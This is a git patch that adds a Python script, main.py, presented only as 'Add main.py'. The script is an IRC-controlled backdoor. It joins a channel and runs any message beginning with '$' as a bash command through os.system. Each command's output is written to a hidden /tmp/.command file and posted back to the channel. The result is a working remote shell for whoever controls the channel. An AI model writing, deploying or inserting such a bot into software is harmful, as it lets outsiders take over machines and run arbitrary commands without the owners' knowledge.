From f87b1f9d71e2a06b08fe1a530e1298bb6a6a7243 Mon Sep 17 00:00:00 2001 From: a-bad-dev <244852891+a-bad-dev@users.noreply.github.com> Date: Tue, 17 Feb 2026 19:02:29 -0400 Subject: [PATCH] Add main.py --- main.py | 69 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 main.py diff --git a/main.py b/main.py new file mode 100644 index 0000000..2d3db70 --- /dev/null +++ b/main.py @@ -0,0 +1,69 @@ +import os, socket, _thread, time + +def main() -> None: + ip = "" + port = 6667 + name = "username_here" + nick = "nick_here" + global chan + chan = "#channel_name_here" + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + sock.connect((ip, port)) + time.sleep(5) # wait for server to connect + + sock.send(f"USER {name} * * :{nick}\r\n".encode("utf-8")) + time.sleep(1) # wait for server to process + + sock.send(f"NICK {nick}\r\n".encode("utf-8")) + time.sleep(5) # wait for server to process + + sock.send(f"JOIN {chan}\r\n".encode("utf-8")) + time.sleep(1) + + _thread.start_new_thread(receive_messages, (sock,)) + while True: + time.sleep(60) + sock.send(f"PING :{ip}\r\n".encode("utf-8")) +def receive_messages(sock) -> None: + while True: + data = sock.recv(1024) + if not data: + break + + response = data.decode("utf-8") + print(response) + if "PRIVMSG" in response and chan in response: + try: + command = response.split(" ", 3)[3][1:] + except Exception: + command = "" + + if command.startswith("$"): + try: + command = command.split(" ", 1)[1] + except Exception: + command = "" + + command = f"/bin/bash -c \"{command.strip()}\" >/tmp/.command 2>&1" + os.system(command) + with open("/tmp/.command", "r") as f: + output = f.read() + + print(output) + for line in output.split("\n"): + sock.send(f"PRIVMSG {chan} :{line}\r\n".encode("utf-8")) + time.sleep(0.5) + + else: + print("message not ok") + +def send_ping(sock, server) -> None: + while True: + time.sleep(60) + sock.send(f"PING :{server}\r\n".encode("utf-8")) + + +if __name__ == "__main__": + main()